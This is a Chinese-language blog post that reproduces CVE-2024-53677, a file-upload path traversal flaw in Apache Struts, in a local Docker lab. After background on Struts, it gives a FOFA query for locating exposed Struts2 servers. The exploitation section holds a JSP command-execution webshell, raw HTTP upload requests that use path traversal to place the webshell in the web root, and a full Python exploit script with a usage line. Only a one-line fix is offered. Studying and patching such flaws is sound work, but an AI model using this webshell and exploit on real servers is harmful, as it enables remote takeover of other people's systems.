目录
- 什么是struts?
- CVE-2024-53677
- 简介
- 影响版本
- 复现环境搭建
- 漏洞利用
- 修复
什么是struts?
在早期的 Java Web 开发中,代码往往混乱不堪,难以维护和扩展。比如,一个简单的用户登录功能,可能在不同的 Java 类、JSP 页面中到处散落着处理逻辑、数据验证等代码。Struts 框架就是为了解决这些问题而诞生的,它让开发人员能够更有条理地组织代码,提高开发效率和代码的可维护性。
百度百科:
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
核心组件
ActionServlet:它是 Struts 框架的核心控制器,就像是一个交通指挥员。所有来自客户端的请求都会先经过它,它会根据请求的信息来决定要调用哪个具体的处理程序。
Action:这是用来处理具体业务逻辑的部分。比如用户注册、登录等操作,都有对应的 Action 来处理。它接收从页面传递过来的数据,进行相应的处理,然后决定下一步该做什么,比如是跳转到成功页面还是返回错误提示。
Struts 配置文件:通常是 struts-config.xml,它就像是一个地图,告诉框架各个组件之间的关系和如何进行配置。比如哪个 URL 对应哪个 Action,Action 处理完后要跳转到哪个页面等,都在这个文件里进行配置。
工作原理
当用户在浏览器中输入一个 URL 或者点击一个链接、提交一个表单时,请求就会发送到服务器。
服务器上的 ActionServlet 接收到请求后,会根据 Struts 配置文件来解析这个请求,找到对应的 Action。
然后 ActionServlet 会把请求交给对应的 Action 去处理。Action 会从请求中获取用户输入的数据,进行业务逻辑处理,比如验证数据的合法性、查询数据库等。
Action 处理完后,会返回一个结果,这个结果也是在 Struts 配置文件中定义好的,告诉 ActionServlet 下一步该跳转到哪个页面。
最后,ActionServlet 根据返回的结果,将相应的页面返回给用户,用户就可以在浏览器中看到最终的显示效果。
应用场景
企业级应用开发:很多大型企业的业务系统,像人力资源管理系统、财务管理系统等,都可以用 Struts 框架来开发。因为这些系统通常有复杂的业务逻辑和大量的用户交互,Struts 框架可以很好地组织和管理这些功能。
Web 应用程序开发:各种类型的网站,比如电商网站、新闻网站等,也经常会用到 Struts 框架。它可以帮助开发人员快速搭建网站的架构,实现用户注册登录、商品展示、新闻发布等功能。
CVE-2024-53677
简介
CVE-2024-53677 是 Apache Struts 框架中存在的严重远程代码执行漏洞,CVSS 评分为 9.5。该漏洞源于框架文件上传逻辑缺陷,攻击者可操纵文件上传参数,利用路径遍历将恶意文件上传至服务器其他位置,若服务器对文件类型检测不严格,就可触发远程代码执行
影响版本
2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2
- fofa语句
app="Struts2"
复现环境搭建
git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53667 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53667 cve-2024-53667
curl http://localhost:8080/upload.action
这边我复现的时候因为docker网络问题拉不下镜像,就换了几个镜像源。然后我是映射本地的8081端口而不是8080
漏洞利用
上传一个txt文件,打开上传后的图片链接。发现上传路径是/uploads/
然后上传1.jsp,也上传成功,但是访问的时候报500错误。不过后面还是利用成功。
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>-----------------------------338492666920734954652406641204--
CVE-2024-53677 可以绕过上传路径到网址根目录下
原理分析可以看Y4师傅的文章https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/
现在构造数据包上传test.jsp
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload";name="top.UploadFileName";../test.jsp
-----------------------------338492666920734954652406641204--
由于用burp抓包后不知道为什么连接不上靶机,我就用yakit了
然后访问
捡一个大佬的脚本
import requests
import argparse
import osdef send_post_request(url, filename_value, file_path, file_type):# 读取文件内容with open(file_path, 'r') as f:file_content = f.read()# 设置请求头headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',}# 设置 multipart/form-datafiles = {'Upload': (os.path.basename(file_path), file_content, 'text/html'),}# 设置字段参数,根据 -type 选择上传单文件还是多文件if file_type == 's':data = {'top.uploadFileName': filename_value,}elif file_type == 'm':data = {'uploadFileName[0]': filename_value,}else:raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")# 发送POST请求response = requests.post(url, headers=headers, files=files, data=data)# 输出响应结果print(f"Response Status Code: {response.status_code}")print(response.text)def main():# 设置命令行参数parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')parser.add_argument('-u', '--url', required=True, help='upload aciton url')parser.add_argument('-filename', required=True, help='filename with path traversal')parser.add_argument('-file', required=True, help='evil file to be uploaded')parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")# 解析参数args = parser.parse_args()# 发送POST请求send_post_request(args.url, args.filename, args.file, args.type)if __name__ == '__main__':main()
配套jsp
<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
python CVE-2024-53677.py -u http://192.168.41.219:8080/upload.action -filename ../poc.jsp -file 1.jsp -type s
搜到一个有脚本的文章https://blog.csdn.net/2202_75361164/article/details/144578662,大家可以去看看
修复
将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。
参考:
https://www.freebuf.com/vuls/418053.html